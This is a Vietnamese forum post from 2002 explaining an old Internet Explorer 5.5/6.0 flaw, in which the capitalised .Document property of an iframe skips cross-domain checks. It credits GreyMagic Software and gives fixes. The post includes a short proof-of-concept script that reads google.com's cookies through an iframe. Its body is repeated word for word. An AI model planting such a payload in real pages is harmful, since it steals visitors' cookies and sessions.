Old Shark
26-11-2002, 17:47
- Phiên bản 5.5, 5.5 SP2, 6.0. Đáng ngạc nhiên là IE 6.0 SP1 lại không bị!!! Mọi chương trình dùng IE engine cũng bị.
- Lỗi nằm ở tag <frame> hoặc <iframe>. Chúng ta biết bên trong <iframe> có thể đặt URL vào. Theo M$, URL này phải nằm cùng domain với domain chứa <iframe>.
Giả sử ta có <iframe id="oFrameId">. Các truy xuất như :
* oFrameId.document
* document.all.oFrameId.contentWindow.document
* frames.oFrameId.document
* Vân vân...
đều không có vấn đề gì và không cho phép truy xuất đến domain bên ngoài.
Nhưng, M$ quên mất .Document (chữ D viết hoa)!
Bình thường thì oElement.document sẽ trả về reference đến Document hiện thời. Nhưng nếu dùng oElement.Document thì document trả về sẽ là thứ chứa bên trong <iframe>, không có bảo mật gì hết!
Lợi dụng lỗi này, attacker có thể ăn cắp cookies từ bất cứ site nào, truy xuất tới nội dung của site, đọc local files, và chạy các chương trình arbitrary.
Exploit: Giả sử muốn ăn cắp cookies của site "google.com" của client:
(Đặt đoạn code vào trang Web)
<script language="jscript">
onload=function () {
// Timer necessary to prevent weird behavior in some conditions
setTimeout(
function () {
alert(document.getElementById("oVictim").Document.cookie);
},
100
);
}
</script>
<iframe src="http://google.com" id="oVictim"></iframe>
Giải pháp:
Disable Active Scripting hoặc upgrade lên IE 6.0 SP1
Người tìm ra lỗi: Công ty GreyMagic Software.
- Lỗi nằm ở tag <frame> hoặc <iframe>. Chúng ta biết bên trong <iframe> có thể đặt URL vào. Theo M$, URL này phải nằm cùng domain với domain chứa <iframe>.
Giả sử ta có <iframe id="oFrameId">. Các truy xuất như :
* oFrameId.document
* document.all.oFrameId.contentWindow.document
* frames.oFrameId.document
* Vân vân...
đều không có vấn đề gì và không cho phép truy xuất đến domain bên ngoài.
Nhưng, M$ quên mất .Document (chữ D viết hoa)!
Bình thường thì oElement.document sẽ trả về reference đến Document hiện thời. Nhưng nếu dùng oElement.Document thì document trả về sẽ là thứ chứa bên trong <iframe>, không có bảo mật gì hết!
Lợi dụng lỗi này, attacker có thể ăn cắp cookies từ bất cứ site nào, truy xuất tới nội dung của site, đọc local files, và chạy các chương trình arbitrary.
Exploit: Giả sử muốn ăn cắp cookies của site "google.com" của client:
(Đặt đoạn code vào trang Web)
<script language="jscript">
onload=function () {
// Timer necessary to prevent weird behavior in some conditions
setTimeout(
function () {
alert(document.getElementById("oVictim").Document.cookie);
},
100
);
}
</script>
<iframe src="http://google.com" id="oVictim"></iframe>
Giải pháp:
Disable Active Scripting hoặc upgrade lên IE 6.0 SP1
Người tìm ra lỗi: Công ty GreyMagic Software.